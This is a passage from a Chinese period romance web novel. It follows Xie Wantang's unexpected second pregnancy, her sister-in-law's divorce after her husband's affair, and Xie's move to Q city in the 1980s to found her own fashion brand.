晚上抱着谢晚棠睡觉的时候,他觉得她身上总是那么瘦,都没几两肉。 两人说笑间,谢晚棠小腹处又有那种小鱼游过的感觉,不难受,但就是奇奇怪怪的。 她揉了揉刚才肚子里像是有气的地方:“下午我去医院看看,是不是有点肠胀气了。” 傅青山闻声皱眉,如临大敌的模样:“我和你一起去。” 谢晚棠嗐了声:“又不是什么大毛病,医院离咱家就二里地远,我自己骑车子就去了,你午休完该上班上班就行。” 看谢晚棠精神状态还不错,傅青山才点了点头。 下午睡起来,谢晚棠换了身衣服,去镇卫生院挂号。 没有细分的消化内科,但是有大内科。 谢晚棠对护士点头:“行,那就内科吧。” 挂上号来到内科办公室,是一个50岁左右带眼镜的男大夫,听她说肠胃不太好,拿起笔开始在病历本上记录。 大夫:“肚子痛还是涨?” 谢晚棠:“都没有。” 大夫:“拉肚子还是便秘?” 谢晚棠:“都没有。” 大夫停笔抬头,皱眉看她:“那你是怎么个肠胃不好法?” 谢晚棠描述了下腹处是不是那种小鱼游过的奇怪感觉:“是不是肠子里有股气在乱窜?” 大夫……?? 大夫看她半晌:“上次例假是什么时候?” 谢晚棠愣了下,肠子有气还跟例假有关?她上次例假……上次例假好像是年前了?!具体时间记不清了,大概就是冬装上市前来的。 她都已经好几个月没来例假了吗! 这小半年不是在加班,就是在加班的路上,忙得她都忘记例假这事了。 之前例假疼的毛病,张老大夫说是气血虚,自从怀六六前调理好了,这几年都没疼过了,一直也比较规律。 难道是这几个月太忙太累了,不是上班加班,就是休班加班……累得气血又虚了?直接连流血的能力都没有了?! 谢晚棠一想到又得吃那苦苦的中药调理就愁得皱眉:“四个多月前吧。” 大夫放下笔,推推眼镜:“我建议你去妇科看看。” 谢晚棠叹了口气起身:“好的,谢谢大夫。” 内科大夫都不收她了,果然是月经不调又出问题了。 谢晚棠去楼下退了内科的号,改挂妇科,上二楼,跟妇科大夫说明症状后,问有没有什么西药能治月经不调的。 反正她现在也不疼,就是来的时间不规律,能不喝苦药汤就别喝了。 接诊的是位中年女医生,听完微微皱眉,让她烫到检查床上,露出肚子,拿着听诊器在她小腹上滑动着听了好一会儿,才收起听诊器让她起身。 女医生坐下开*始写病历:“你不来例假是怀孕了,孩子胎心很好,上次例假是什么时候?” 谢晚棠刚穿好衣服在医生对面坐下,闻声一脸问号:“我怀孕了?!” 医生看她惊讶的神情:“一胎?” 谢晚棠摇头:“有一个了。” 医生无奈:“你都生过孩子了,有胎动都不知道自己是怀孕了?” 谢晚棠更一头雾水:“哪有胎动啊!” 医生一脸地铁老头看手机的无语表情:“小鱼游来游去的感觉,就是胎动啊!” 谢晚棠……?? “胎动不是拳打脚踢吗?!” 医生:“……” “每个小朋友性格不一样,胎动也可能不一样啊。” 谢晚棠还在懵懵圈,医生让她回忆最后一次来例假的大概时间,给她推算预产期。 谢晚棠还是不敢相信:“医生,我们一直戴套的,就是从你们医院买的。” 医生抬头看她,给她科普:“避孕套的避孕率也不是百分之百的,你用的时候没看过吗?可以回去看看包装上的说明。” 谢晚棠……?? 避孕套的避孕率居然不是百分百?!这又是什么她不知道的偏门小知识啊! 谁晚上兴致来了要戴套的时候,还去看看它背面的那一片小字说明啊! 病历写完病历本交给她,上边写着:中孕、头位、胎心好。 这就怀孕了?而且还直接干到孕中期了?比怀六六那会儿还懵懵圈。 从医院出来,谢晚棠还是感觉不可思议,没有回家,直接骑上车子去大沟村找张老大夫。 她现在只相信张老大夫,张老大夫要是给她把着怀孕了,那她就真是怀孕了。 张老大夫的看诊小南屋。 老头头的白发比七年前更多了,手轻搭在她右手手腕,连半分钟都不到就收了手:“有了,四个多月了,是个女娃。” 谢晚棠……!! 谢晚棠回家第一时间就是翻出家里剩的没用完的避孕套,仔细阅读反面那一串小字,洋洋洒洒写了很多,总结下来就是: 如果正确使用,避孕成功率可达98%。 如果使用过程中因用力过度而造成破损,那几乎就没什么避孕效果了。 用力过度…… 傅青山哪次用力不过度…… 谢晚棠抚摸着自己的小腹,也不知道这个小棉袄是逃过那98%的避孕率奔赴而来,还是哪次和傅青山做得太嗨了才有的。 对于这个小闺女的到来,谢晚棠说不出是个什么感觉。 卫生院的女医生说,不同性格小宝宝,胎动也各不相同。 胎动总是像小鱼游过一样温柔,所以这会是个温柔的小闺女吗? …… 晚上傅青山一回来,谢晚棠就这个消息告诉了他。 傅青山懵逼的表情一如她下午在医院那般,她把病历给傅青山看:“卫生院的医生说能听到胎心,我也去找老张大夫把脉了,确定了。” 傅青山仔细看过病历,眉头皱得很深,半晌才道:“四个半月了,还能吃药吗?吃药对你的身体会有伤害吗?” 谢晚棠被这一连串问题问懵:“吃什么药?” 傅青山深吸一口气:“我们说过只生一个孩子的。” 谢晚棠脑子转了好几圈,才反应过来傅青山的意思,当时她生六六特别惊险,傅青山说以后再也不要她生孩子,不要她承受这样的风险,所以这些年,傅青山一直严谨认真地戴套避孕,严谨到家里今天可以没有肉,但不能没有套的程度…… 就算是这样,还是漏网了。 不知道是该感慨傅青山能力太强,还是这个小崽崽和他们俩缘分太深。 不知道是不是听到爸爸不想要她了,肚子里的小崽崽游来游去,似乎非常不安。 谢晚棠隔着一层衣服轻轻安抚,抬眸看着傅青山如黑曜石一般的眸子:“二哥,这是钻过套套也非要来找我们的小闺女呀,你舍得?” 【终章】 第88章 晚棠风起。 傅青山闻声皱眉,似是在她的安全与他们的小崽崽的生命之间纠结。 谢晚棠抱着他的胳膊:“她真的好温柔的,一点都不闹我,感觉肯定是个很乖很乖的小闺女。” 见傅青山还是纠结,谢晚棠拉着他的手笑道:“二哥,她和我们这么有缘分,以后肯定是我们的贴心小棉袄。” 傅青山握着她的手,面对面垂眸看着她明亮的眼睛,半晌叹了口气,把娇小的她拥入怀:“对不起棠棠。” 谢晚棠回抱住他,轻轻抚摸他宽阔坚实的脊背:“二哥,不要说对不起,这是我们一起的小棉袄。” 吃晚饭的时候,谢晚棠把这个消息告诉了三个小的,三个小的怔了片刻,同时看向谢晚棠的小腹。 妞妞最开心:“我有小妹妹了!那她以后可以和我一起睡吗?!” 谢晚棠笑道:“当然了,等她断奶了,就可以和妞妞小姐姐一起睡觉啦。” 小刚兴冲冲:“那我们给小妹妹起个什么名字好?” 谢晚棠想了想:“叫七七怎么样?” 六六眼睛圆溜溜的发亮:“我叫六六,妹妹叫七七,这样别人一听就知道是我的妹妹!” 大家闻声哈哈大笑,说说笑笑间就给肚子里的小棉袄起好了名字。 翌日早上,傅青山也不让谢晚棠自己骑自行车去上班了,跟付天明一样,自己亲自接送。 傅青山和付天明一起骑车子到了国营服装厂,把两人放下后再一起去镇政府上班。 毕淑君笑着揽过谢晚棠,好奇地看她肚子:“小谢,是不是又有好消息了?” 不然傅青山怎么会突然骑车子送呢? 小谢平常也不是那种娇滴滴什么都靠男人的性格。 谢晚棠笑着点头:“四个半月了,估计和姐你差不多时间生。” 毕淑君闻声震惊:“之前一直不知道?!” 谢晚棠耸肩:“对啊……” 毕淑君深吸一口气:“小谢,你这可真是心大!马上开始夏装了,你现在是有身子的人了,可不敢像之前那么拼了,这样,我把兰兰调到技术部帮你,她之前在家一直帮你,你用起来顺手。” 本来就要上新夏季男装女装,这个季度还要上婚服系列,技术部现在就她和老张小张三个人,确实人员紧张。 谢晚棠闻声点头:“那可太好了,谢厂长体恤民情!” 毕淑君笑:“就你嘴贫。” 兰兰被调来技术部帮忙,一开始还不知道什么事,单纯以为就是新季太忙,中午单独一起去餐厅吃饭的路上,谢晚棠告诉她自己又怀孕了的事,兰兰开心之余,坚决不允许她以后再加班。 兰兰:“以后有什么要忙的,就告诉我,你就安心养好身体。” 谢晚棠吐吐舌头:“好,都听兰兰的,我们兰兰结了婚现在说话都有一家之主的感觉了呢,罗淮是不是很听你的话呀?” 兰兰闻声脸红,谢晚棠凑近低声问:“他对你好吗?” 不知道为什么,兰兰脑海中不自觉浮现出昨晚两人之间那些不可言说的脸红画面,轻咳一声,垂眸看着自己的鞋尖:“挺好的。” 她也没想到,平日里看起来那么清冷的人,晚上会有那么强的欲。望…… 看着兰兰害羞小媳妇的模样,谢晚棠放下心来,这说明小夫妻婚后生活很甜蜜,她也就不需要过多操心了。 只要兰兰幸福就好。 除了毕淑君和兰兰,谢晚棠怀孕的事没告诉其他人,直到夏季时装表演秀前,谢晚棠换上轻薄的夏天连衣裙,已经快6个月的小腹明显显怀,老张和小张才发现她怀孕,父女俩对她的佩服又多上三分。 怀孕了都不影响谢晚棠的设计灵感蹭蹭蹭往外冒啊! 春季时装表演秀在大沟镇引起了强烈反响,甚至传到了Q市,只可惜当时没有记录下来盛况。 这次夏季时装表演秀的时间一公布,就有Q市报社的记者联系到时候来报道。 发布会如期举行,这次不仅有男装女装,还新加了婚服系列,男模女模们展示完男装女装后,换上成套婚服,成双成对地上台展示,养眼得如一对对璧人,将秀场气氛推向最高潮。 表演秀结束后的现场售卖订单数额再创新高,厂里近一个月生产的夏装全部卖空,还有很多来现场的观众没有买到,只能登记下款式尺码信息预定。 翌日,时装秀现场盛况在Q市时报报道,报纸的影响力遍布Q市及下属8个镇,引起了强烈反响。 没过两天,邻镇和市供销社的经理就来厂下单订货,服装厂第一次经历如此爆单的盛况。 工装线暂时都停了,车间所有大工小工日夜加班加点赶工,全厂齐心协力,厂里所有能喘气的,不论男女老少,什么岗位,就连看门大爷、货车司机都来车间帮着剪线头,厂里按小时给额外提成。 毕淑君面向全镇公开招聘服装女工,有缝纫机使用经验的可以应聘大工,会做简单针线的可以应聘小工。 国营服装厂已经十几年没有公开招工了,只有家属工才有资格进厂,这一下给镇上女人提供了50多个工作岗位,引起了很大轰动。 一场轰轰烈烈的夏装生产终于告一段段落,厂里效益翻了三倍,每个职工也都挣得翻了一番不止。 傅青宁也在这场忙碌的战斗中经受住了考验,成功晋升为一名大工,并转为正式工。 全厂喜气洋洋的气氛下,还有一件被大家唾弃不齿的恶心事。 夏装忙碌期间,厂里新招来的这批临时工里有一个叫吴晓柔的,长得年轻漂亮,一双丹凤眼,一颦一笑都像在调情,来厂里还没半个月,就和来车间帮忙的蒋有年眉来眼去地勾搭上了。 傅青宁升了大工,埋头干活,一开始并没有注意,被看不过去的工友提醒才发现。 两人回家一番争吵,蒋有年本就一肚子花花肠子,又跟那个叫吴晓柔的正在热恋期,直接骂傅青宁是老女人,不想过就离婚。 六岁的蒋小玉看着父母又争吵,害怕地靠在门上抹眼泪,蒋有年骂完傅青宁要出去,一把拉开蒋小玉扯一边去,不顾女儿摔倒在地,拉开门就走了,彻夜未归。 傅青宁跑过去把女儿抱起来,母女俩抱在一起哭。 她现在明白二哥当初对她的忠告了:自己做的选择,以后只能自己来承受,谁也帮不了你。 她明白了,也晚了。 她要是真跟蒋有年离了婚,就会成为全厂乃至全镇的笑柄。 她还有小玉。 就算蒋有年对她早已没了一点夫妻情谊,她也只能忍着。 傅青宁抱着女儿坐在冰凉的地上,仰头长舒一口气,就这样吧,一辈子就这样吧。 幼儿园放了暑假,六六和小玉一起在胡同里玩。 因为傅青宁这半年都在变好,努力工作,也不弄事,谢晚棠看到她的改变,也不计前嫌,不反感她,自然也不会区别对待她的孩子,之前服装厂加班忙的时候,她还会让六六带小玉回来吃午饭,傅青宁周末加班就不用中午往家跑了。 不知道是不是女孩的缘故,小玉不像六六那么开朗,总是揪揪着不开心的样子,胆子也很小,跟在六六身后。 这天晚上,六六泡脚的时候跟她说:“娘,小玉说她爸要跟她妈离婚,不要她们了,她爸还推了她,她很难过,你说她该怎么办呀?” 厂里的传闻沸沸扬扬,谢晚棠自然知道。 蒋有年是狗改不了吃屎,但这毕竟是他们俩的家事,别人没办法去管。 就算管,又能怎么管呢? 无论就是离婚和不离婚两条路。 要说蒋有年这种烂人,就该跟他离婚,但这个年代离婚可是大事,傅青宁不一定愿意。 要说不离婚,蒋有年的花心是烂到骨子里的,改是不可能,那就只能忍了。 好在,傅青宁现在转正了,工作稳定,挣得不比蒋有年少,不管哪条路,她都有带着小玉独立生活的能力。 谢晚棠摸摸六六的头:“父母的事,她管不了,你可以告诉她,要好好学习,以后才有更多的选择。” 六六点头:“好,我会告诉小玉妹妹的。” 秋去冬来,转眼进了十一月,谢晚棠和毕淑君预产期将近,两个男人担心,都不让去上班了。 两个女强人倒是不觉得,还感觉自己灵活得很,在家也闲不住,一起给还没出生的小崽崽做衣服和小被。 毕妈妈下半年退了休,现在专心照顾女儿待产。 谢晚棠把薛桂花接来了城里,之前薛桂花就算被一家子吸血支使不讨好,也不愿意到闺女家住,老思想总觉得有儿子就不该让闺女养。 这次谢晚棠跟她说没人照顾坐月子,等着生了七七休完产假还得上班没人看孩子,薛桂花才不放心跟着她进了城。 这天做完小衣服,两人还约着明天一起去赶集呢,结果刚吃过晚饭,毕淑君就发动了,付天明和毕妈妈提着大包小包地骑上车子往医院赶,谢晚棠让傅青山去看看有没有什么能帮忙的。 结果傅青山帮着送人去医院没多久,谢晚棠感觉肚子一阵阵硬起来,还越来越疼,就像六年前要生六六那时候差不多的感觉。 好在现在就住在镇上,离医院近。 谢晚棠让薛桂花帮着收拾待产包,她趁没有宫缩疼的时候赶紧穿衣服,等傅青山送完毕淑君回来,直接出发去医院。 傅青山回来一看到她皱眉忍痛的样子,瞬间拧眉紧张起来,想起六年前骑着车子狂奔在乡间土路上的紧张。 好在现在条件好了,及时赶到医院。 两个平时工作风风火火的女人,生孩子也风风火火。 两人进产房脚前脚后,生孩子也脚前脚后。 毕淑君的儿子天刚亮出生,谢晚棠的女儿过了十几分钟也出生了,两人几乎同时从产房出来,入住同一间病房。 不知是经历过一次凶险有了经验,还是这次生孩子有个伴,谢晚棠并没有感觉像第一次时那样疲惫,看着包在小被里粉粉嫩嫩的小女儿,感觉心都被软化了。 谢晚棠和薛桂花一起逗七七:“娘,你看七七长得更像我还是更像青山?” 薛桂花来回看了看两个人:“我看着像青山多一点呢。” 谢晚棠叹了口气:“我也觉得呢。” 薛桂花笑:“像谁都好,都好看,都是姥娘的心头肉!” 谢晚棠招呼傅青山过来,让他抱抱小闺女,待傅青山小心翼翼把七七接过去,眉眼柔和下来,谢晚棠撇撇嘴:“哎,生儿子不随我也就罢了,生闺女也不随我,二哥,你这基因也太强大了!” 早晨兰兰例行来看才知道她们昨晚来了医院,做了饭带上家里三个小的一起来看。 三个小的一进来就围过去看小妹妹。 “七七,我是小刚哥哥!” “七七,我是妞妞姐姐!” “七七,我是六六哥哥!” …… 兰兰把饭盒打开递给谢晚棠:“娘,吃点饭补补身体。” 谢晚棠笑着接过来,摸摸兰兰的头:“还得是我大宝贝闺女啊!” 一家人在病房里说说笑笑,其乐融融。 有薛桂花的精心照顾,谢晚棠的月子没落下一点毛病。 过完年休完产假,毕淑君重返工作岗位第一天,吴晓柔的妈妈就闹到厂长办公室。 谢晚棠去找毕淑君报计划,现场见识了泼妇大闹现场。 听了一会儿,谢晚棠就捋明白了情况。 原来是蒋有年搞大了吴晓柔的肚子,回去想跟傅青宁离婚,但傅青宁坚决不离,吴晓柔就只能继续当名不正言不顺的地下情人。 眼看着肚子越来越大,蒋有年又不作为,吴晓柔的妈妈耐不住了,直接逼宫到厂长办公室,要求蒋有年负责任。 毕淑君听完无语,直接怼老太婆:“是你闺女不检点,跟已婚男人弄出来孩子,难道还要让人家原配给你闺女腾地方?天下就没有这样的道理!” 吴晓柔的妈妈也不是省油的灯,叉着腰哼了声:“蒋有年那个老婆子宫都摘了,永远不可能传宗接代生儿子了,凭什么占着茅坑不拉屎?” 谢晚棠听不惯,凉凉道:“你闺女就能生儿子呗。” 老太婆蛮横地笑道:“那当然,我闺女现在肚子里怀的就是儿子!不像那些不下蛋的鸡!” …… 正吵着,蒋有年闻声跑过来,拉着吴晓柔的妈妈,低声呵道:“阿姨,你来我单位干嘛!” 吴晓柔妈妈理直气壮:“当然是给我闺女讨个说法!” 傅青宁听到工友们说蒋有年情人的妈妈在大闹厂长办公室,跑过来就看到蒋有年也在,几乎半个厂子的人都在围观,吴晓柔的妈妈一口一个不下蛋的鸡骂她。 傅青宁深吸一口气,对蒋有年道:“走,现在去离婚。” 蒋有年皱眉看她,傅青宁一把拽过他的袖子:“走,赶紧办完,好给你的情人、儿子和老丈母娘腾地方。” 吴晓柔妈妈一听,脸上一喜,赶紧催促着蒋有年快点去,还要回家叫上自家闺女也去,蒋有年办完离婚正好跟她闺女结婚,省得夜长梦多。 谢晚棠:“……” 这是以为捡着什么香饽饽了吗? 当天,两人就办了离婚,傅青宁从租的房子里搬出来,找到谢晚棠:“二嫂,行李和小玉能先放你们家吗?我出去找房子,带着她们不方便。” 谢晚棠自然不会推辞,拍拍她肩膀:“有什么困难就跟我和你二哥说。” 傅青宁摇摇头:“还好,我的工资够,不用担心。” 谢晚棠点点头,没再说什么。 可能越不幸的婚姻,女人成长越快吧。 当天傅青宁就租到了一间一居室的小房子,带着女儿小玉搬了进去,傅青山帮着搬完家回来,半晌都没说话。 谢晚棠知道傅青山心情不好,虽然傅青宁让他失望过很多次,但毕竟是他的亲妹妹,任谁的妹妹经历这些,都心里不好受。 谢晚棠抱住他的脖子:“以后能帮她的地方,我们都搭把手。” 傅青山深吸一口气,握住她的手指:“棠棠,谢谢你。” 翌日。 毕淑君召开全厂大会,宣布对厂会计处会计蒋有年和车间临时工吴晓柔的处理决定:吴晓柔勾搭有妇之夫,蒋有年婚内出轨,在厂里造成了极坏的影响,给于辞退处理。 毕淑君是最正气的女人,眼里揉不得沙子,铁血手段,果断利落处理了一对狗男女,得到了全厂女工的掌声,蒋有年和吴晓柔灰溜溜地滚出了服装厂。 让傅青宁意外的是,她不仅没被工友们嘲笑,反而得到了很多鼓励。 就像二嫂说的那样,她行得正、坐得端,离婚并不是什么丢人的事,只是对过去错误的及时纠正。 她还有小玉,那家人都不待见小玉,但小玉是她用命拼来的,她也要用她的后半生,给小玉挣一个更好的未来! 四年后。 大沟镇国营服装厂已经成为集女装、男装、童装、婚服、工装全系列于一体的大型综合国营服装厂,全厂职工共计500余人,产品辐射周边7个邻镇,设计师谢晚棠的名声在Q市服装行业也是家喻户晓。 谢晚棠和毕淑君下班回来,小亮和七七穿着天蓝色和嫩粉色的小棉袄一起在院子里玩跳格子。 毕淑君家的儿子是天刚亮出生的,小名就叫小亮。 两个小家伙同年同月同日生,从小就是最要好的玩伴。 小亮闻声回头,声音爽朗:“妈!” 七七跑过来抱住她的大腿,眨着圆溜溜的大眼睛仰头撒娇:“妈妈,你终于回来了,我都想死你了!” 六六是活泼开朗,七七则是特别会撒娇,一天天把姥姥、爸爸、哥哥姐姐们哄得都晕晕乎乎的。 谢晚棠摸摸她头上两个小辫子:“嗯嗯,妈妈也想死七七了!” 大门响动,七七趴在她腿上往后一看:“爸爸!” 下一秒就抛开她,扑向傅青山的怀抱。 谢晚棠:“……” 小狗腿子。 傅青山单手推着自行车,另一只手抱起来女儿,七七搂着他脖子,趴在他耳边跟他说着今日份悄悄话,傅青山边听边点头,然后下意识心虚地看了眼谢晚棠。 这一眼谢晚棠就知道,小家伙肯定又要黏着傅青山一会偷偷带她出去买糖吃。 七七特别爱吃糖,牙质一点都不好,她平时管得比较严,小家伙就从傅青山这里下手,百试不爽。 傅青山当初还要打掉这个小棉袄,现在可好,被小棉袄拿捏得死死的。 可能这就是父女情和父子情的不同?六六也蛮可爱的,从小也爱跟着傅青山跑前跑后,但也没见傅青山对六六这么溺爱。 谢晚棠故意冷下脸来,咳了声。 父女俩闻声同时看过来,七七鬼机灵地看看她,又看看爸爸。 傅青山接收到警告,偏头看了眼女儿,无奈地摇摇头。 小糖果飞了,七七一下子耷拉下小脑袋,半晌又自己调整好情绪,亲亲爸爸:“没关系爸爸,七七还是爱你呦~ 付天明一进门就看到这一幕,简直要被馋死:“青山啊,你们家七七太可爱了,弄得我都想要闺女了!” 毕淑君也笑:“是呀,养闺女也真甜呀。” 谢晚棠啧了声:“都说闺女是爸爸前世的小情人,我看这话用在我们家啊,一点错都没有。” 毕淑君闻声哈哈大笑:“青山,咱们小谢吃醋了啊!” 七七才四岁,还听不懂前世、小情人,眨巴着眼睛来回看一圈,不知道大人们在笑什么啊。 晚上吃饭的时候,傅青山带来一个重磅消息:他要调到市公安局去做副局长,下个月就上任。 现在有两个选择:要么谢晚棠辞掉现在的工作带着孩子们跟过去,要么就要两地分居,他每周末回来。 谢晚棠现在工作稳定,傅青山今天接到这个消息就在纠结,却不想,他刚说完,谢晚棠就给出了选择:“二哥,我跟你一起去市里。” 1984年是国家经济体制改革的重要一年,两个月前,国家刚刚颁布新政策,鼓励私营经济发展。 国营服装厂从来就不是她的目标,这里只是她积累经验过渡的地方,80年代是国家经济蓬勃发展的时代,也是时尚潮流走入百姓生活的时代,是属于她的奋斗的时代。 而且,如果孩子们可以去市里上学,就能接受到更好的教育。 必须要去。 临行前,两家人一起吃饭,毕淑君感慨:“咱们厂失去了一个最大的人才!” 谢晚棠笑道:“现在有那么多大学生毕业,可以招一些专业的设计人才来技术部。” 付天明跟傅青山喝着茶聊天,预祝傅青山前途大好。 要去更大的城市,见更好的风光,人孩子都开心,唯独两个小豆丁。 这些日子,两个小豆丁明白了一件事:他们两个要分开了,以后不能住在一个院子里,也不能每天在一起玩了。 两个小豆丁独自坐在当门里玩着烧火棍,七七抿唇:“小亮哥哥,我以后都见不到你了吗?” 虽然她很爱爸爸妈妈哥哥姐姐,但她也不想和小亮哥哥分开,小亮哥哥是她最好的朋友呀。 小亮心情也不好,但看七七落寞,他努力表现得开心:“不会啊,七七,我以后会去Q市找你的。 七七闻声,眼睛终于亮起来:“真的吗?!” 小亮点头,哒哒哒跑回自己房间,没一会儿又哒哒哒跑回来,拿着一个装满各式各样糖果的透明罐头瓶子,塞到七七手里。 糖果的奴隶七七哇偶一声,下意识把美丽的糖果瓶子藏进怀里,惊讶地抬头:“小亮哥哥,你怎么有这么多糖?” 小亮一笑露出两个小虎牙:“给你攒的,本来想下个月生日的时候送给你,但那个时候你就搬走了,记得每天只能吃一颗哦,吃多了牙会坏。” 七七用力点头。 小亮看着七七亮亮的大眼睛,抿唇道:“七七,我会去找你,等我。” 七七一手抱着糖果瓶,一手拉住他的手:“小亮哥哥,我等你。” 薛桂花也跟着搬去了Q市。 来镇上帮着照顾七七和孩子们这四年,薛桂花在毕妈妈的影响下,已经从一个思想闭塞落后的农村妇女变成了一个新时代女人。 白天女儿和女婿上班,孩子们上学,她在家里看着七七,帮着收拾卫生做饭,女儿女婿和孩子们都特别感激她,不像在老家,她像老黄牛一样伺候着一家人,谁都可以呲哒她,不拿她当人。 她是勤快的女人,但不代表不愿意被认可。 本来觉得七七也快上幼儿园了,她再跟着是不是没用了,没想到孩子们和女儿女婿都极力邀请她同去,七七还抱着她的腰撒娇求她一起去吧。 人在光明里待久了,就不愿意再回到黑暗中。 以前能在黑暗里待下去,只是因为没有体验过光明而已。 1984年11月初,傅青山一家举家搬到Q市。 国营服装厂的厂长之前到大沟镇视察的时候就和谢晚棠相识,听说谢晚棠来了Q市,顾茅庐,亲自邀请谢晚棠来厂做技术主管。 这次,谢晚棠没有再选择进厂,婉拒了厂长的邀请。 时代不一样,政策不一样了,她的选择也不一样了。 家里和孩子们有薛桂花打理着,谢晚棠没有任何后顾之忧,安顿好新家之后就开始忙着办新公司的手续。 她早就想好了自己的公司和品牌名——晚棠风起。 做自己的民族时尚品牌。 我们中国人的潮流,要由中国人自己来引领。 这些年攒的钱除了买了现在的住房,剩下的都用来租了厂房和门面,还招了一批服装设计专业毕业的大学生组成了一个强大而专业的技术部。 历时三个多月的攻坚准备,1985年春,“晚棠风起”在Q市一炮打响。 时隔五年,谢晚棠再次上了Q市时报,成为Q市第一个万元户、最年轻的女企业家。 1985年夏,二刚大学毕业加入公司,学习企业管理专业的他比谢晚棠更懂管理和营销,再掀一波销售热潮,“晚棠风起”不止风靡Q市,还卖到邻市,邻省,乃至全国。 1999年,傅青山调入北京,在公安部任职,谢晚棠也将公司总部搬到北京。 走在北京的大街上,街面上来往的年轻人,衣服上大都印着“晚棠风起”的logo,这是民族时尚的风向标。 而“晚棠风起”的创始人谢晚棠,则是国内服装届公认的时尚导师。